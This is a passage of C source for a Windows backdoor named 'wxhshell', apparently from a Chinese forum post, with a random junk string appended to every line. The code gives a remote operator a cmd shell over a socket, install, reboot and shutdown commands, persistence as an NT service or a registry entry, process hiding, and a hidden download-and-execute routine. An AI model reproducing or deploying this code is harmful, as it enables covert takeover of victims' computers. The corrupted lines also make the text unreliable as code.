  // 帮助 #^%HJp^  
  case '?': { YHBH9E/B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x&}pM}ea  
    break; ?.Mw  
  } uc;1{[5`1q  
  // 安装 `/?XvF\  
  case 'i': { y"zgpqJ  
    if(Install()) !SRElb A;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>Md]/I8  
    else A+Uil\%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &j=Fx F9o  
    break; \AFoxi2h  
    } ) H=}bqn  
  // 卸载 N3/G6wn  
  case 'r': { BkywYCWZ )  
    if(Uninstall()) c#o(y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /zxLnT; 5  
    else rXl ~D!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :yg:sU  
    break; me-Tv7WL  
    } R\DdU-k  
  // 显示 wxhshell 所在路径 .quui\I3  
  case 'p': { ;Q*=AW  
    char svExeFile[MAX_PATH]; pc9m,?n  
    strcpy(svExeFile,"\n\r"); Jv_KZDOdk  
      strcat(svExeFile,ExeFile); ^3~+|A98M  
        send(wsh,svExeFile,strlen(svExeFile),0); t~_j+k0K#  
    break; abog\0  
    } ~)J]`el,Q  
  // 重启 `N<6)MX3>g  
  case 'b': { RNa59b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $glt%a  
    if(Boot(REBOOT)) B$ty`/{w,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `N;}Gf-'  
    else { \tv^],^`  
    closesocket(wsh); War<a#0  
    ExitThread(0); }5_[t9LX  
    } _FpZc ?=  
    break; )y~FeKh  
    } {tS^Q*F  
  // 关机 Ih Yso7g  
  case 'd': { 0)<\jo1 F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1P8XVI'  
    if(Boot(SHUTDOWN)) [D;wB|+,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:N+mEF  
    else { _LVwjZX[  
    closesocket(wsh); L@mNfLK  
    ExitThread(0); MH wjJ  
    } \xCI8 *W  
    break; Z<_"Tk;!',  
    } Rs$fNW@P  
  // 获取shell hk5[ N=  
  case 's': { gu1:%raXd  
    CmdShell(wsh); V(gmC%6%l*  
    closesocket(wsh); qS8p)pw  
    ExitThread(0); c<k=8P   
    break; Uz4!O  
  } 2SjH7 '  
  // 退出 vJ +sdG  
  case 'x': { !O*'mX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u"$=:GK  
    CloseIt(wsh); 5{zmuv:  
    break; X mmb^2I  
    } XY_hTHJ  
  // 离开 z_i (o  
  case 'q': { |2Krxi3*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `j#zwgUs  
    closesocket(wsh); 3p+V~n.+  
    WSACleanup(); [TW?sW^0  
    exit(1); z`Jcpt  
    break; lRk)  
        } "_f~8f`y  
  } K'6NW:zp~  
  } TmS-w  
B5A/Iv)2  
  // 提示信息 4ZUTF3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3BZa}Q_  
}  =8o$  
  } yjF;%A/0  
+UM%6Z=+  
  return; u?Uu>9@Z  
} mhNX05D  
?lPn{oB9"  
// shell模块句柄 _Xqa_6+/  
int CmdShell(SOCKET sock) 2FVO@D  
{ BNw};.lO  
STARTUPINFO si; hEh` cBO  
ZeroMemory(&si,sizeof(si)); [yhK4A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bs3M7z RG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c 98^~vR]]  
PROCESS_INFORMATION ProcessInfo; )ep1`n-  
char cmdline[]="cmd"; J+(B]8aj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w paI}H#  
  return 0; 6/3oW}O o  
} w7%.EA{N  
?on EqH>  
// 自身启动模式 FX  %(<M  
int StartFromService(void) `9Rj;^NJ  
{ *UZd !a)  
typedef struct )Tl]1^  
{ . #FJM2Xk  
  DWORD ExitStatus; Y-s6Z \  
  DWORD PebBaseAddress; 1KadT7<0}  
  DWORD AffinityMask; 4c]=kbGW  
  DWORD BasePriority; #z5$_z?_  
  ULONG UniqueProcessId; Vo;0i$  
  ULONG InheritedFromUniqueProcessId; _u9bZ'  
}   PROCESS_BASIC_INFORMATION; _B?Hw[cc  
=x@v{cP  
PROCNTQSIP NtQueryInformationProcess; GboZ T68  
0B]c`$"aD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aT~=<rEDy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '!"rE1e  
MAc jWb~ f  
  HANDLE             hProcess; s>I~%+V.?:  
  PROCESS_BASIC_INFORMATION pbi; $YiG0GK<"  
tPb<*{eG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `$Y%c1;  
  if(NULL == hInst ) return 0; H-qbgd6&>R  
RDOV+2K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'x,6t66*"l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +62}//_?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v@,`(\Ca'  
d-jZ5nl(  
  if (!NtQueryInformationProcess) return 0; C'6c,  
L>n^Q:M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G2dPm}sZG  
  if(!hProcess) return 0; gbu*6&j9  
@GWlo\rM6^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mYFc53B  
|F +n7  
  CloseHandle(hProcess); KP_7h/e  
XZ"oOE0=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qGi\*sc>x  
if(hProcess==NULL) return 0; c27Zh=;Tj  
a5/r|BiBK  
HMODULE hMod; i(YR-vYK  
char procName[255]; qu0 q LM  
unsigned long cbNeeded; 7[1 VFc#tf  
z+c'-!e/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +4F; m_G6  
|fY#2\)Yx  
  CloseHandle(hProcess); LX}|%- iv  
t!59upbN}3  
if(strstr(procName,"services")) return 1; // 以服务启动 AZ SaI  
k- exqM2x=  
  return 0; // 注册表启动 f\z9?Z(~  
} _6->D[dB  
r-Oz k$  
// 主模块 |M EJ)LE7  
int StartWxhshell(LPSTR lpCmdLine) }tJMnq/m($  
{ ]d*O>Pm  
  SOCKET wsl; !iAZEOkRR  
BOOL val=TRUE; Uv(}x 7e)  
  int port=0; O O-Obg^  
  struct sockaddr_in door; ]''tuo2g8  
_)~|Z~  
  if(wscfg.ws_autoins) Install(); _zLEHEZ-  
@h5Q?I  
port=atoi(lpCmdLine); +A%zFF3  
ltHuN;C\  
if(port<=0) port=wscfg.ws_port; + B7UGI  
xM>dv5<E  
  WSADATA data; ZJQkZ_9@2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v%QC p  
NJKk\RM@7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lve$H(GHT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cGW L'r)P  
  door.sin_family = AF_INET; Y'y$k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &A^2hPe}  
  door.sin_port = htons(port); +EZr@  
t5QGXj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e XdH)|l,\  
closesocket(wsl); %Ip=3($Ku[  
return 1; XlGB`P>?KD  
} (; Zl  
"?YpF2pD  
  if(listen(wsl,2) == INVALID_SOCKET) { *}LQZFrnX  
closesocket(wsl); ~'):1}KN]  
return 1; +@PZ3 [s  
} 5a* Awv}  
  Wxhshell(wsl); V{0V/Nv  
  WSACleanup(); 94XRf"^  
lqKwjJ tX  
return 0; OmP(&t7  
E eCgV{9B  
} dRTpGz  
:wJ!rn,4  
// 以NT服务方式启动 )sapUnqrlR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .gI9jRdKw  
{ qj?I*peK)  
DWORD   status = 0; y)Lyo'`  
  DWORD   specificError = 0xfffffff; td+[Na0d  
D7$xY\0r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zn'y"@%t[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uMP&.Y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jaf=qwZ/`  
  serviceStatus.dwWin32ExitCode     = 0; zdDJcdbGd1  
  serviceStatus.dwServiceSpecificExitCode = 0; Fw;Y)y=O  
  serviceStatus.dwCheckPoint       = 0; "( ?[$R  
  serviceStatus.dwWaitHint       = 0; dk2o>jI4;  
B?_ujH80m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PiIILX{DuH  
  if (hServiceStatusHandle==0) return; ;"GI~p2~7  
?rV c}  
status = GetLastError(); o=(>#iVM  
  if (status!=NO_ERROR) /t?(IcP5  
{ i@d@~M7/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m;I;{+"u  
    serviceStatus.dwCheckPoint       = 0; YuDNm}r[  
    serviceStatus.dwWaitHint       = 0; k4 %> F  
    serviceStatus.dwWin32ExitCode     = status; d_Vwjv&@/"  
    serviceStatus.dwServiceSpecificExitCode = specificError; :Zd# }P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QfM*K.7Sl  
    return; 5 *>3(U  
  } `24:Eg6r  
]t3 NA*mM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -.WVuc`  
  serviceStatus.dwCheckPoint       = 0; `P4qEsZE>`  
  serviceStatus.dwWaitHint       = 0; B[MZ Pv)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )+9D$m=P;  
} 3/@'tLtN  
zR3Z(^]v  
// 处理NT服务事件,比如:启动、停止 `0Q:d'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jW",'1h<n  
{ j|(bDa4\  
switch(fdwControl) `ionMTZY  
{ Xc5[d`]  
case SERVICE_CONTROL_STOP: \>/:@4oK  
  serviceStatus.dwWin32ExitCode = 0; |,&!Q$<un  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +CNRSq"  
  serviceStatus.dwCheckPoint   = 0; FZmYv%J  
  serviceStatus.dwWaitHint     = 0; E(U}$Zey  
  { emS+%6U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JT^E `<nn  
  } MgMLfgt"V  
  return; )3B5"b,  
case SERVICE_CONTROL_PAUSE: |_2ANWHz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3]Lk}0atpL  
  break; 5\Y/so=  
case SERVICE_CONTROL_CONTINUE: (\/HGxv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #-HN[U?Gs  
  break; q%:Jmi>  
case SERVICE_CONTROL_INTERROGATE: c8"I]Qc7  
  break; ?s"v0cg+  
}; 'H cDl@E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M*S5&xpX  
} V!U[N.&$  
H@j^,  
// 标准应用程序主函数 /l$noaskX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #=.h:_9  
{ 8rpN2M 3h  
"^D6%I#T  
// 获取操作系统版本 VD3[ko  
OsIsNt=GetOsVer(); &s<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +tN-X'u##  
6HqK%(  
  // 从命令行安装 .yP 3}Nl  
  if(strpbrk(lpCmdLine,"iI")) Install(); oV!9B-<  
t@HE.h  
  // 下载执行文件 86I*  
if(wscfg.ws_downexe) { hW+Dko(s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `WW0~Tp3  
  WinExec(wscfg.ws_filenam,SW_HIDE); L wu;y@[  
} &^7)yS+C  
Le'\x`B  
if(!OsIsNt) { ;hZ@C!S:  
// 如果时win9x,隐藏进程并且设置为注册表启动 db XG?K][  
HideProc(); -?'CUm*Od  
StartWxhshell(lpCmdLine); KE3v3g<  
} E{ ,O}  
else IyuT=A~Ki  
  if(StartFromService()) 3*TS 4xX  
  // 以服务方式启动 *3K"Kc2  
  StartServiceCtrlDispatcher(DispatchTable); [Bh]\I'  
else ]xG4T>S  
  // 普通方式启动 W*m[t&;  
  StartWxhshell(lpCmdLine); 4dK@UN\  
X m3t xp#  
return 0; 'x0t, ;g  
}
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只看该作者 1 发表于: 2006-10-10
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